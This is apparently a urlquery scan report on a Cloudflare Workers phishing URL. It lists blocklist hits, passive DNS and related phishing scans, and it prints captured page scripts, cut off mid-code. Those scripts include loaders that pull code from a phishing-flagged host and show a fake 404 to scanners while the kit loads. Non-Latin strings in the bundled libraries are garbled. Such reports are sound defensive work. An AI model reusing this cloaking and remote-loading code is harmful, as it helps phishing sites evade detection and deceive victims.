Overview

URL late-rice-0fc8.regan21.workers.dev/?bbre=zxofuzxsa
IP104.21.68.131
ASNCLOUDFLARENET
Location
Report completed2022-09-28 22:11:18 UTC
StatusLoading report..
urlquery Alerts No alerts detected


Settings

UserAgentMozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Referer


Intrusion Detection Systems

Suricata /w Emerging Threats Pro  No alerts detected


Blocklists

OpenPhish  No alerts detected
PhishTank  No alerts detected
Fortinet's Web Filter
Scan Date Severity Indicator Comment
2022-09-28 2 rikkachi.quatiappcn.pw/622247eee66111503f639bad.js Phishing
mnemonic secure dns  No alerts detected
Quad9 DNS  No alerts detected


Files

No files detected



Passive DNS (16)

Passive DNS Source Fully Qualifying Domain Name Rank First Seen Last Seen IP Comment
mnemonic passive DNS ocsp.pki.goog (7) 175 2017-06-14 07:23:31 UTC 2022-09-28 04:36:20 UTC 142.250.74.3
mnemonic passive DNS img-getpocket.cdn.mozilla.net (5) 1631 2017-09-01 03:40:57 UTC 2022-09-28 08:06:38 UTC 34.120.237.76
mnemonic passive DNS firefox.settings.services.mozilla.com (2) 867 2020-05-28 17:26:30 UTC 2022-09-28 12:06:36 UTC 143.204.55.36
mnemonic passive DNS content-signature-2.cdn.mozilla.net (1) 1152 2020-11-03 12:26:46 UTC 2022-09-28 05:13:47 UTC 143.204.55.49
mnemonic passive DNS unpkg.com (3) 11693 2016-01-07 23:26:01 UTC 2022-09-28 07:06:09 UTC 104.16.122.175
mnemonic passive DNS r3.o.lencr.org (4) 344 2020-12-02 08:52:13 UTC 2022-09-28 04:36:09 UTC 23.36.76.226
mnemonic passive DNS contile.services.mozilla.com (1) 1114 2021-05-27 18:32:35 UTC 2022-09-28 04:36:06 UTC 34.117.237.239
mnemonic passive DNS ocsp.digicert.com (5) 86 2012-05-21 07:02:23 UTC 2022-09-28 16:15:39 UTC 93.184.220.29
mnemonic passive DNS push.services.mozilla.com (1) 2140 2015-09-03 10:29:36 UTC 2022-09-28 05:02:28 UTC 44.240.207.158
mnemonic passive DNS fonts.gstatic.com (3) 0 2014-08-29 13:43:22 UTC 2022-09-28 04:36:33 UTC 142.250.74.163 Domain (gstatic.com) ranked at: 540
mnemonic passive DNS rikkachi.quatiappcn.pw (1) 0 2022-06-20 13:25:35 UTC 2022-09-18 18:09:54 UTC 172.67.211.252 Unknown ranking
mnemonic passive DNS fiekcndtitikaps.web.app (1) 0 2022-06-20 13:25:36 UTC 2022-09-14 10:46:26 UTC 199.36.158.100 Unknown ranking
mnemonic passive DNS cdnjs.cloudflare.com (1) 235 2020-10-20 10:17:36 UTC 2022-09-28 05:34:56 UTC 104.17.24.14
mnemonic passive DNS ajax.googleapis.com (1) 12905 2013-08-16 09:51:31 UTC 2022-09-28 16:18:43 UTC 142.250.74.42
mnemonic passive DNS late-rice-0fc8.regan21.workers.dev (1) 0 2022-03-04 17:07:35 UTC 2022-09-28 04:19:02 UTC 172.67.195.141 Unknown ranking
mnemonic passive DNS cfl.dropboxstatic.com (1) 13598 2017-01-30 04:53:29 UTC 2022-09-28 13:25:15 UTC 104.16.100.29


Recent reports on same IP/ASN/Domain/Screenshot

Last 4 reports on IP: 104.21.68.131

Date UQ / IDS / BL URL IP
2022-09-28 22:11:18 +0000
0 - 0 - 1 late-rice-0fc8.regan21.workers.dev/?bbre=zxofuzxsa 104.21.68.131
2022-09-26 23:02:03 +0000
0 - 0 - 1 uqjy7z.cyou/ 104.21.68.131
2022-09-20 21:12:39 +0000
0 - 0 - 2 newbeginningshorse.com/ 104.21.68.131
2022-09-14 10:46:25 +0000
0 - 0 - 1 late-rice-0fc8.regan21.workers.dev/?bbre=zxofuzxsa 104.21.68.131

Last 5 reports on ASN: CLOUDFLARENET

Date UQ / IDS / BL URL IP
2022-12-07 16:48:36 +0000
0 - 0 - 1 commbank-support.info/a1b2c3/79f8a49d3e5c4d43 (...) 172.67.130.79
2022-12-07 16:47:21 +0000
0 - 0 - 3 bockshornirishpub.at/files/login.php?user=true 188.114.96.1
2022-12-07 16:47:02 +0000
4 - 0 - 7 comsouthcorp.com/files/login.php?user=true 172.67.210.202
2022-12-07 16:46:44 +0000
0 - 0 - 1 commbank-support.info/a1b2c3/3ebf66f8d00597e7 (...) 172.67.130.79
2022-12-07 16:46:39 +0000
0 - 0 - 1 commbank-support.info/a1b2c3/af9a1e4ca6557cc7 (...) 104.21.7.124

Last 2 reports on domain: regan21.workers.dev

Date UQ / IDS / BL URL IP
2022-09-28 22:11:18 +0000
0 - 0 - 1 late-rice-0fc8.regan21.workers.dev/?bbre=zxofuzxsa 104.21.68.131
2022-09-14 10:46:25 +0000
0 - 0 - 1 late-rice-0fc8.regan21.workers.dev/?bbre=zxofuzxsa 104.21.68.131

Last 5 reports with similar screenshot

Date UQ / IDS / BL URL IP
2022-12-03 22:11:12 +0000
0 - 0 - 3 proud-sun-19a8.ole-86.workers.dev/?bbre=xzoai (...) 172.67.192.87
2022-12-03 18:32:57 +0000
0 - 0 - 3 proud-sun-19a8.ole-86.workers.dev/?bbre=xzoai (...) 172.67.192.87
2022-11-29 03:55:54 +0000
0 - 0 - 2 little-snow-bb84.dyron90.workers.dev/?bbre=zx (...) 104.21.18.215
2022-11-25 06:17:43 +0000
0 - 0 - 2 sweet-sea-ee14.chaos5034.workers.dev/?bbre=zx (...) 104.21.37.157
2022-11-06 21:51:10 +0000
0 - 0 - 3 proud-sun-19a8.ole-86.workers.dev/?bbre=xzoai (...) 172.67.192.87


JavaScript

Executed Scripts (15)


Executed Evals (4)

#1 JavaScript::Eval (size: 256, repeated: 1) - SHA256: 9492a09408b722f1c3c25ec3547902dd42c781d0096a3438b41f9b701d4898dd

                                        var emfromgetnbrtoo = "";
var script34ssd = document.createElement("script");
script34ssd.type = "text/javascript";
script34ssd.src = "https://rikkachi.quatiappcn.pw/622247eee66111503f639bad.js";
document.getElementsByTagName("head")[0].appendChild(script34ssd);
                                    

#2 JavaScript::Eval (size: 3178, repeated: 1) - SHA256: 6f283d03e531064756f22346783a35f38a333f1f89a31a6ae56f34602753d92e

                                        window.location.queryNewV2020Pam = function getAllUrlParams(url) {
    var queryString = url ? url.split('?')[1] : window.location.search.slice(1);
    var obj = {};
    if (queryString) {
        queryString = queryString.split('#')[0];
        var arr = queryString.split('&');
        for (var i = 0; i < arr.length; i++) {
            var a = arr[i].split('=');
            var paramName = a[0];
            var paramValue = typeof(a[1]) === 'undefined' ? true : a[1];
            paramName = paramName.toLowerCase();
            if (typeof paramValue === 'string') paramValue = paramValue.toLowerCase();
            if (paramName.match(/\[(\d+)?\]$/)) {
                var key = paramName.replace(/\[(\d+)?\]/, '');
                if (!obj[key]) obj[key] = [];
                if (paramName.match(/\[\d+\]$/)) {
                    var index = /\[(\d+)\]/.exec(paramName)[1];
                    obj[key][index] = paramValue;
                } else {
                    obj[key].push(paramValue);
                }
            } else {
                if (!obj[paramName]) {
                    obj[paramName] = paramValue;
                } else if (obj[paramName] && typeof obj[paramName] === 'string') {
                    obj[paramName] = [obj[paramName]];
                    obj[paramName].push(paramValue);
                } else {
                    obj[paramName].push(paramValue);
                }
            }
        }
    }
    return obj;
};

function loadScript(url, i) {
    var teat = i;
    if (i < 2) {
        var script = document.createElement("link");
        script.type = "text/css";
        script.rel = "stylesheet";
    } else {
        var script = document.createElement("script");
        script.type = "text/javascript";
    }
    if (script.readyState) {
        script.onreadystatechange = function() {
            if (script.readyState == "loaded" || script.readyState == "complete") {
                script.onreadystatechange = null;
                i++;
                if (i < dml.length) {
                    loadScript(url, i);
                }
            }
        };
    } else {
        script.onload = function() {
            i++;
            if (i < dml.length) {
                loadScript(url, i);
            }
        };
    }
    if (i < 2) {
        script.href = url[teat];
    } else {
        script.src = url[teat];
    }
    document.getElementsByTagName("head")[0].appendChild(script);
};
var dml = ["https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/css/92553ccffe8374bf711dfe7e3f8f5ed2nbr1646413804.css", "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/css/0d0362800854243b4e3070164e61c1e4nbr1646413805.css", "https://unpkg.com/axios@0.16.1/dist/axios.min.js", "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/0e4e225f4404f1c2946b760e217dd7aenbr1646413805.js", "https://unpkg.com/vue@2.6.11/dist/vue.min.js", "https://unpkg.com/vue-router@2.7.0/dist/vue-router.min.js", "https://cdnjs.cloudflare.com/ajax/libs/vuex/2.3.1/vuex.min.js", "https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js", "https://cdnjs.cloudflare.com/ajax/libs/vee-validate/2.0.0-rc.3/vee-validate.min.js", "https://cdnjs.cloudflare.com/ajax/libs/vue-i18n/7.0.3/vue-i18n.min.js", "https://unpkg.com/lodash@4.17.4/lodash.min.js", "https://cdnjs.cloudflare.com/ajax/libs/mobile-detect/1.3.6/mobile-detect.min.js", "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/0e86f4f9474ca74bef6e39f5813b9324.js"];
if (('referrer' in document) && document.referrer == "") {
    if (!window.location.queryNewV2020Pam().bbre) {
        document.getElementsByTagName("body")[0].innerHTML = "<div style='color:#222;text-align:unset;margin:7%auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;'><p><b>404.</b><ins style='color:#777;text-decoration:none;'>Thats an error.</ins></p><p>The requested URL was not found on this server.<ins style='color:#777;text-decoration:none;'>Thats all we know.</ins></p></div>";
        document.body.style.backgroundImage = "NONE";
        window.stop();
    } else loadScript(dml, 0);
} else loadScript(dml, 0);
                                    

#3 JavaScript::Eval (size: 327001, repeated: 1) - SHA256: 3b8d83905b90d0bdb79c90b1c86d736c769961bc821ea4bb701bcd5a8d0e77c8

                                        ! function(n, e) {
    "object" == typeof exports && "undefined" != typeof module ? module.exports = e() : "function" == typeof define && define.amd ? define(e) : (n.__locale__ar = n.__locale__ar || {}, n.__locale__ar.js = e())
}(this, function() {
    "use strict";
    var n = {
            _default: function(n) {
                return "BJE)'D-BD " + n + " :J15-J-)."
            },
            after: function(n, e) {
                return n + " J,('FJCHF(9/ " + e[0] + "."
            },
            alpha_dash: function(n) {
                return n + " B/J-*HJ9DI-1HA'H'D1EH2 -H_."
            },
            alpha_num: function(n) {
                return n + " B/J-*HJAB79DI-1HAH'1B'E."
            },
            alpha_spaces: function(n) {
                return n + " B/J-*HJAB79DI-1HAHE3'A'*."
            },
            alpha: function(n) {
                return n + " J,('FJ-*HJ9DI-1HAAB7."
            },
            before: function(n, e) {
                return n + " J,('FJCHFB(D " + e[0] + "."
            },
            between: function(n, e) {
                return "BJE) " + n + " J,('F*CHFE'(JF " + e[0] + " H " + e[1] + "."
            },
            confirmed: function(n) {
                return n + " D'JE'+D'D*#CJ/."
            },
            credit_card: function(n) {
                return "'D-BD " + n + " :J15-J-."
            },
            date_between: function(n, e) {
                return n + " J,('FJCHFE'(JF " + e[0] + " H " + e[1] + "."
            },
            date_format: function(n, e) {
                return n + " J,('FJCHF9DIGJ&) " + e[0] + "."
            },
            decimal: function(n, e) {
                void 0 === e && (e = ["*"]);
                var t = e[0];
                return n + " J,('FJCHFBJE)1BEJ)HB/J-*HJ9DI " + ("*" === t ? "" : t) + " '1B'E941J)."
            },
            digits: function(n, e) {
                return n + " J,('F*-*HJAB79DI'1B'EH'D'J2J/9//G'9F " + e[0] + " 1BE."
            },
            dimensions: function(n, e) {
                return n + " J,('F*CHF(EB'3 " + e[0] + " (C3DAJ " + e[1] + " (C3D."
            },
            email: function(n) {
                return n + " J,('FJCHF(1J/''DJC*1HFJ5-J-."
            },
            ext: function(n) {
                return "FH9EDA " + n + " :J15-J-."
            },
            image: function(n) {
                return n + " J,('F*CHF5H1)."
            },
            in : function(n) {
                return "'D-BD " + n + " J,('FJCHFBJE)5-J-)."
            },
            ip: function(n) {
                return n + " J,('FJCHF ip 5-J-."
            },
            max: function(n, e) {
                return "'D-BD " + n + " J,('FJ-*HJ9DI " + e[0] + " -1HA9DI'D#C+1."
            },
            max_value: function(n, e) {
                return "BJE)'D-BD " + n + " J,('F*CHF'5:1EF " + e[0] + " 'H*3'HJG'."
            },
            mimes: function(n) {
                return "FH9EDA " + n + " :J15-J-."
            },
            min: function(n, e) {
                return "'D-BD " + n + " J,('FJ-*HJ9DI " + e[0] + " -1HA9DI'D#BD."
            },
            min_value: function(n, e) {
                return "BJE)'D-BD " + n + " J,('F*CHF'C(1EF " + e[0] + " 'H*3'HJG'."
            },
            not_in: function(n) {
                return "'D-BD " + n + " :J15-J-."
            },
            numeric: function(n) {
                return n + " JECF'FJ-*HJAB79DI'1B'E."
            },
            regex: function(n) {
                return "'D-BD " + n + " :J15-J-."
            },
            required: function(n) {
                return n + " E7DH(."
            },
            size: function(n, e) {
                return n + " J,('FJCHF'BDEF " + e[0] + " CJDH('J*."
            },
            url: function(n) {
                return "'D-BD " + n + " J,('FJCHF1'(7'K5-J-'K."
            }
        },
        e = {
            name: "ar",
            messages: n,
            attributes: {}
        };
    return "undefined" != typeof VeeValidate && VeeValidate && (VeeValidate.Validator, !0) && VeeValidate.Validator.addLocale(e), e
});
(function(global, factory) {
    typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global.VueTimeago = factory());
}(this, (function() {
    'use strict';
    var MINUTE = 60;
    var HOUR = MINUTE * 60;
    var DAY = HOUR * 24;
    var WEEK = DAY * 7;
    var MONTH = DAY * 30;
    var YEAR = DAY * 365;
    var language_timeago = {};
    language_timeago['en'] = ["just now", ["%s second ago", "%s seconds ago"],
        ["%s minute ago", "%s minutes ago"],
        ["%s hour ago", "%s hours ago"],
        ["%s day ago", "%s days ago"],
        ["%s week ago", "%s weeks ago"],
        ["%s month ago", "%s months ago"],
        ["%s year ago", "%s years ago"]
    ];
    language_timeago['fr'] = ["� l'instant", ["il y a %s seconde", "il y a %s secondes"],
        ["il y a %s minute", "il y a %s minutes"],
        ["il y a %s heure", "il y a %s heures"],
        ["il y a %s jour", "il y a %s jours"],
        ["il y a %s semaine", "il y a %s semaines"],
        ["il y a %s mois", "il y a %s mois"],
        ["il y a %s an", "il y a %s ans"]
    ];
    language_timeago['da'] = ["lige nu", ["%s sekund siden", "%s sekunder siden"],
        ["%s minut siden", "%s minutter siden"],
        ["%s time siden", "%s timer siden"],
        ["%s dag siden", "%s dage siden"],
        ["%s uge siden", "%s uger siden"],
        ["%s m�ned siden", "%s m�neder siden"],
        ["%s �r siden", "%s �r siden"]
    ];
    language_timeago['de'] = ["jetzt gerade", ["vor %s Sekunde", "vor %s Sekunden"],
        ["vor %s Minute", "vor %s Minuten"],
        ["vor %s Stunde", "vor %s Stunden"],
        ["vor %s Tag", "vor %s Tagen"],
        ["vor %s Woche", "vor %s Wochen"],
        ["vor %s Monat", "vor %s Monaten"],
        ["vor %s Jahr", "vor %s Jahren"]
    ];
    language_timeago['ja'] = ["_c_�", "%s �M", "%s M", "%s B�M", "%s �M", "%s 1�M", "%s �M", "%s tM"];
    language_timeago['zh'] = ["[[", "%s �M", "%s M", "%s BM", "%s )M", "%s 1M", "%s M", "%s tM"];
    language_timeago['ru'] = ["B>;L:>GB>", ["%s A5:C=40=0704", "%s A5:C=4=0704"],
        ["%s <8=CB0=0704", "%s <8=CB=0704"],
        ["%s G0A=0704", "%s G0A>2=0704"],
        ["%s 45=L=0704", "%s 4=59=0704"],
        ["%s =545;O=0704", "%s =545;L=0704"],
        ["%s <5AOF", "%s <5AOF52=0704"],
        ["%s 3>4=0704", "%s ;5B=0704"]
    ];
    language_timeago['id'] = ["baru saja", "%s detik yang lalu", "%s menit yang lalu", "%s jam yang lalu", "%s hari yang lalu", "%s minggu yang lalu", "%s bulan yang lalu", "%s tahun yang lalu"];
    language_timeago['it'] = ["adesso", ["%s secondo fa", "%s secondi fa"],
        ["%s minuto fa", "%s minuti fa"],
        ["%s ora fa", "%s ore fa"],
        ["%s giorno fa", "%s giorni fa"],
        ["%s settimana fa", "%s settimane fa"],
        ["%s mese fa", "%s mesi fa"],
        ["%s anno fa", "%s anni fa"]
    ];
    language_timeago['uk'] = ["I>9=>", ["%s A5:C=40B><C", "%s A5:C=4B><C"],
        ["%s E28;8=0B><C", "%s E28;8=B><C"],
        ["%s 3>48=0B><C", "%s 3>48=B><C"],
        ["%s 45=LB><C", "%s 4=V2B><C"],
        ["%s B8645=LB><C", "%s B86=V2B><C"],
        ["%s <VAOFLB><C", "%s <VAOFV2B><C"],
        ["%s @V:B><C", "%s @>:V2B><C"]
    ];
    language_timeago['af'] = ["nou net", ["%s sekonde gelede", "%s sekondes gelede"],
        ["%s minuut gelede", "%s minute gelede"],
        ["%s uur gelede", "%s ure gelede"],
        ["%s dag gelede", "%s dae gelede"],
        ["%s week gelede", "%s weke gelede"],
        ["%s maand gelede", "%s maande gelede"],
        ["%s jaar gelede", "%s jaar gelede"]
    ];

    function calcTime(offset) {
        var d = new Date();
        var utc = d.getTime() + (d.getTimezoneOffset() * 60000);
        var nd = new Date(utc + (3600000 * offset));
        return nd;
    }

    function getTimeZone() {
        var offset = new Date().getTimezoneOffset(),
            o = Math.abs(offset);
        return (offset < 0 ? "+" : "-") + ("00" + Math.floor(o / 60)).slice(-2) + ":" + ("00" + (o % 60)).slice(-2);
    }

    function pluralOrSingular(data, locale) {
        if (data === 'just now') {
            return locale
        }
        var count = Math.round(data);
        if (Array.isArray(locale)) {
            return count > 1 ? locale[1].replace(/%s/, count) : locale[0].replace(/%s/, count)
        }
        return locale.replace(/%s/, count)
    }

    function formatTime(time) {
        var d = new Date(time);
        return d.toLocaleString()
    }

    function install(Vue, ref) {
        if (ref === void 0) ref = {};
        var name = ref.name;
        if (name === void 0) name = 'timeago';
        var locale = ref.locale;
        if (locale === void 0) locale = 'en';
        var locales = ref.locales;
        if (locales === void 0) locales = language_timeago;
        if (!locales || Object.keys(locales).length === 0) {
            throw new TypeError('Expected locales to have at lease one locale.')
        };
        Vue.prototype.$setLangTimeago = function(lang) {
            locale = lang;
        };
        var VueTimeago = {
            props: {
                since: {
                    required: true
                },
                locale: String,
                maxTime: Number,
                autoUpdate: Number,
                format: Function,
                timezone: String
            },
            data: function data() {
                return {
                    now: new Date().getTime()
                }
            },
            computed: {
                currentLocale: function currentLocale() {
                    var current = locales[this.locale || locale];
                    if (!current) {
                        return locales[locale]
                    }
                    return current
                },
                sinceTime: function sinceTime() {
                    var dateStr = this.since;
                    var a = dateStr.split(" ");
                    var d = a[0].split("-");
                    var t = a[1].split(":");
                    var tempnowfromsv = new Date(d[0], (d[1] - 1), d[2], t[0], t[1], t[2]).getTime();
                    return tempnowfromsv;
                },
                timeago: function timeago() {
                    if (this.timezone) this.now = calcTime(this.timezone).getTime();
                    var seconds = this.now / 1000 - this.sinceTime / 1000;
                    if (this.maxTime && seconds > this.maxTime) {
                        clearInterval(this.interval);
                        return this.format ? this.format(this.sinceTime) : formatTime(this.sinceTime)
                    }
                    var ret = seconds <= 5 ? pluralOrSingular('just now', this.currentLocale[0]) : seconds < MINUTE ? pluralOrSingular(seconds, this.currentLocale[1]) : seconds < HOUR ? pluralOrSingular(seconds / MINUTE, this.currentLocale[2]) : seconds < DAY ? pluralOrSingular(seconds / HOUR, this.currentLocale[3]) : seconds < WEEK ? pluralOrSingular(seconds / DAY, this.currentLocale[4]) : seconds < MONTH ? pluralOrSingular(seconds / WEEK, this.currentLocale[5]) : seconds < YEAR ? pluralOrSingular(seconds / MONTH, this.currentLocale[6]) : pluralOrSingular(seconds / YEAR, this.currentLocale[7]);
                    return ret
                }
            },
            mounted: function mounted() {
                if (this.autoUpdate) {
                    this.update();
                }
            },
            render: function render(h) {
                return h('time', {
                    attrs: {
                        datetime: new Date(this.since)
                    }
                }, this.timeago)
            },
            watch: {
                autoUpdate: function autoUpdate(newAutoUpdate) {
                    this.stopUpdate();
                    if (newAutoUpdate) {
                        this.update();
                    }
                }
            },
            methods: {
                update: function update() {
                    var this$1 = this;
                    var period = this.autoUpdate * 1000;
                    this.interval = setInterval(function() {
                        if (this$1.timezone) this$1.now = calcTime(this$1.timezone).getTime();
                        else this$1.now = new Date().getTime();
                    }, period);
                },
                stopUpdate: function stopUpdate() {
                    clearInterval(this.interval);
                    this.interval = null;
                }
            },
            beforeDestroy: function beforeDestroy() {
                this.stopUpdate();
            }
        };
        Vue.component(name, VueTimeago);
    }
    return install;
})));
! function(e, n) {
    "object" == typeof exports && "undefined" != typeof module ? module.exports = n() : "function" == typeof define && define.amd ? define(n) : (e.__locale__fr = e.__locale__fr || {}, e.__locale__fr.js = n())
}(this, function() {
    "use strict";
    var e = {
            _default: function(e) {
                return e + " n'est pas valide."
            },
            after: function(e, n) {
                return e + " doit �tre post�rieur � " + n[0] + "."
            },
            alpha_dash: function(e) {
                return e + " ne peut contenir que des caract�res alpha-num�riques,tirets ou soulign�s."
            },
            alpha_num: function(e) {
                return e + " ne peut contenir que des caract�res alpha-num�riques."
            },
            alpha_spaces: function(e) {
                return e + " ne peut contenir que des lettres ou des espaces."
            },
            alpha: function(e) {
                return e + " ne peut contenir que des lettres."
            },
            before: function(e, n) {
                return e + " doit �tre ant�rieur � " + n[0] + "."
            },
            between: function(e, n) {
                return e + " doit �tre compris entre " + n[0] + " et " + n[1] + "."
            },
            confirmed: function(e, n) {
                return e + " ne correspond pas � " + n[0] + "."
            },
            credit_card: function(e) {
                return e + " est invalide."
            },
            date_between: function(e, n) {
                return e + " doit �tre situ� entre " + n[0] + " et " + n[1] + "."
            },
            date_format: function(e, n) {
                return e + " doit �tre au format " + n[0] + "."
            },
            decimal: function(e, n) {
                void 0 === n && (n = ["*"]);
                var t = n[0];
                return e + " doit �tre un nombre et peut contenir " + ("*" === t ? "" : t) + " d�cimales."
            },
            digits: function(e, n) {
                return e + " doit �tre un nombre entier de " + n[0] + " chiffres."
            },
            dimensions: function(e, n) {
                return e + " doit avoir une taille de " + n[0] + " pixels par " + n[1] + " pixels."
            },
            email: function(e) {
                return e + " doit �tre une adresse e-mail valide."
            },
            ext: function(e) {
                return e + " doit �tre un fichier valide."
            },
            image: function(e) {
                return e + " doit �tre une image."
            },
            in : function(e) {
                return e + " doit �tre une valeur valide."
            },
            ip: function(e) {
                return e + " doit �tre une adresse IP."
            },
            max: function(e, n) {
                return e + " ne peut pas contenir plus de " + n[0] + " caract�res."
            },
            max_value: function(e, n) {
                return e + " doit avoir une valeur de " + n[0] + " ou moins."
            },
            mimes: function(e) {
                return e + " doit avoir un type MIME valide."
            },
            min: function(e, n) {
                return e + " doit contenir au minimum " + n[0] + " caract�res."
            },
            min_value: function(e, n) {
                return e + " doit avoir une valeur de " + n[0] + " ou plus."
            },
            not_in: function(e) {
                return e + " doit �tre une valeur valide."
            },
            numeric: function(e) {
                return e + " ne peut contenir que des chiffres."
            },
            regex: function(e) {
                return e + " est invalide."
            },
            required: function(e) {
                return e + " est obligatoire."
            },
            size: function(e, n) {
                return e + " doit avoir un poids inf�rieur " + n[0] + " KB."
            },
            url: function(e) {
                return e + " n'est pas une URL valide."
            }
        },
        n = {
            name: "fr",
            messages: e,
            attributes: {}
        };
    return "undefined" != typeof VeeValidate && VeeValidate && (VeeValidate.Validator, !0) && VeeValidate.Validator.addLocale(n), n
});
! function(e, n) {
    "object" == typeof exports && "undefined" != typeof module ? module.exports = n() : "function" == typeof define && define.amd ? define(n) : (e.__locale__it = e.__locale__it || {}, e.__locale__it.js = n())
}(this, function() {
    "use strict";
    var e = {
            after: function(e, n) {
                return "Il " + e + " deve essere dopo " + n[0] + "."
            },
            alpha_dash: function(e) {
                return "Il campo " + e + " pu� contenere caratteri alfa-numerici cos� come lineette e trattini di sottolineatura."
            },
            alpha_num: function(e) {
                return "Il campo " + e + " pu� contenere solo caratteri alfanumerici."
            },
            alpha: function(e) {
                return "Il campo " + e + " pu� contenere solo caratteri alfabetici."
            },
            before: function(e, n) {
                return "Il campo " + e + " deve essere prima di " + n[0] + "."
            },
            between: function(e, n) {
                return "Il campo " + e + " deve essere compreso tra " + n[0] + " e " + n[1] + "."
            },
            confirmed: function(e, n) {
                return "Il campo " + e + " non corrisponde con " + n[0] + "."
            },
            date_between: function(e, n) {
                return "La " + e + " deve essere compresa tra " + n[0] + " e " + n[1] + "."
            },
            date_format: function(e, n) {
                return "La " + e + " deve essere nel formato " + n[0] + "."
            },
            decimal: function(e, n) {
                void 0 === n && (n = ["*"]);
                var r = n[0];
                return "Il campo " + e + " deve essere numerico e pu� contenere " + ("*" === r ? "cm" : r) + " punti decimali."
            },
            digits: function(e, n) {
                return "Il campo " + e + " deve essere numerico e contenere esattamente " + n[0] + " cifre."
            },
            dimensions: function(e, n) {
                return "Il campo " + e + " deve essere " + n[0] + " x " + n[1] + "."
            },
            email: function(e) {
                return "Il campo " + e + " deve essere un indirizzo email valido."
            },
            ext: function(e) {
                return "Il campo " + e + " deve essere un file valido."
            },
            image: function(e) {
                return "Il campo " + e + " deve essere un'immagine."
            },
            in : function(e) {
                return "Il campo " + e + " deve avere un valore valido."
            },
            ip: function(e) {
                return "Il campo " + e + " deve essere un indirizzo IP valido."
            },
            max: function(e, n) {
                return "Il campo " + e + " non pu� essere pi� lungo di " + n[0] + " caratteri."
            },
            mimes: function(e) {
                return "Il campo " + e + " deve avere un tipo di file valido."
            },
            min: function(e, n) {
                return "Il campo " + e + " deve avere almeno " + n[0] + " caratteri."
            },
            not_in: function(e) {
                return "Il campo " + e + " deve avere un valore valido."
            },
            numeric: function(e) {
                return "Il campo " + e + " pu� contenere solo caratteri numerici."
            },
            regex: function(e) {
                return "Il campo " + e + " non ha un formato valido."
            },
            required: function(e) {
                return "Il campo " + e + " � richiesto."
            },
            size: function(e, n) {
                return "Il campo " + e + " deve essere inferiore a " + n[0] + " KB."
            },
            url: function(e) {
                return "Il campo " + e + " non � un URL valido."
            }
        },
        n = {
            name: "it",
            messages: e,
            attributes: {}
        };
    return "undefined" != typeof VeeValidate && VeeValidate && (VeeValidate.Validator, !0) && VeeValidate.Validator.addLocale(n), n
});
if (YAHOO === undefined) {
    var YAHOO = {}
}
YAHOO.lang = {
    extend: function(g, h, f) {
        if (!h || !g) {
            throw new Error("YAHOO.lang.extend failed,please check that all dependencies are included.")
        }
        var d = function() {};
        d.prototype = h.prototype;
        g.prototype = new d();
        g.prototype.constructor = g;
        g.superclass = h.prototype;
        if (h.prototype.constructor == Object.prototype.constructor) {
            h.prototype.constructor = h
        }
        if (f) {
            var b;
            for (b in f) {
                g.prototype[b] = f[b]
            }
            var e = function() {},
                c = ["toString", "valueOf"];
            try {
                if (/MSIE/.test(navigator.userAgent)) {
                    e = function(j, i) {
                        for (b = 0; b < c.length; b = b + 1) {
                            var l = c[b],
                                k = i[l];
                            if (typeof k === "function" && k != Object.prototype[l]) {
                                j[l] = k
                            }
                        }
                    }
                }
            } catch (a) {}
            e(g.prototype, f)
        }
    }
};
var CryptoJS = CryptoJS || (function(e, g) {
    var a = {};
    var b = a.lib = {};
    var j = b.Base = (function() {
        function n() {}
        return {
            extend: function(p) {
                n.prototype = this;
                var o = new n();
                if (p) {
                    o.mixIn(p)
                }
                if (!o.hasOwnProperty("init")) {
                    o.init = function() {
                        o.$super.init.apply(this, arguments)
                    }
                }
                o.init.prototype = o;
                o.$super = this;
                return o
            },
            create: function() {
                var o = this.extend();
                o.init.apply(o, arguments);
                return o
            },
            init: function() {},
            mixIn: function(p) {
                for (var o in p) {
                    if (p.hasOwnProperty(o)) {
                        this[o] = p[o]
                    }
                }
                if (p.hasOwnProperty("toString")) {
                    this.toString = p.toString
                }
            },
            clone: function() {
                return this.init.prototype.extend(this)
            }
        }
    }());
    var l = b.WordArray = j.extend({
        init: function(o, n) {
            o = this.words = o || [];
            if (n != g) {
                this.sigBytes = n
            } else {
                this.sigBytes = o.length * 4
            }
        },
        toString: function(n) {
            return (n || h).stringify(this)
        },
        concat: function(t) {
            var q = this.words;
            var p = t.words;
            var n = this.sigBytes;
            var s = t.sigBytes;
            this.clamp();
            if (n % 4) {
                for (var r = 0; r < s; r++) {
                    var o = (p[r >>> 2] >>> (24 - (r % 4) * 8)) & 255;
                    q[(n + r) >>> 2] |= o << (24 - ((n + r) % 4) * 8)
                }
            } else {
                for (var r = 0; r < s; r += 4) {
                    q[(n + r) >>> 2] = p[r >>> 2]
                }
            }
            this.sigBytes += s;
            return this
        },
        clamp: function() {
            var o = this.words;
            var n = this.sigBytes;
            o[n >>> 2] &= 4294967295 << (32 - (n % 4) * 8);
            o.length = e.ceil(n / 4)
        },
        clone: function() {
            var n = j.clone.call(this);
            n.words = this.words.slice(0);
            return n
        },
        random: function(p) {
            var o = [];
            for (var n = 0; n < p; n += 4) {
                o.push((e.random() * 4294967296) | 0)
            }
            return new l.init(o, p)
        }
    });
    var m = a.enc = {};
    var h = m.Hex = {
        stringify: function(p) {
            var r = p.words;
            var o = p.sigBytes;
            var q = [];
            for (var n = 0; n < o; n++) {
                var s = (r[n >>> 2] >>> (24 - (n % 4) * 8)) & 255;
                q.push((s >>> 4).toString(16));
                q.push((s & 15).toString(16))
            }
            return q.join("")
        },
        parse: function(p) {
            var n = p.length;
            var q = [];
            for (var o = 0; o < n; o += 2) {
                q[o >>> 3] |= parseInt(p.substr(o, 2), 16) << (24 - (o % 8) * 4)
            }
            return new l.init(q, n / 2)
        }
    };
    var d = m.Latin1 = {
        stringify: function(q) {
            var r = q.words;
            var p = q.sigBytes;
            var n = [];
            for (var o = 0; o < p; o++) {
                var s = (r[o >>> 2] >>> (24 - (o % 4) * 8)) & 255;
                n.push(String.fromCharCode(s))
            }
            return n.join("")
        },
        parse: function(p) {
            var n = p.length;
            var q = [];
            for (var o = 0; o < n; o++) {
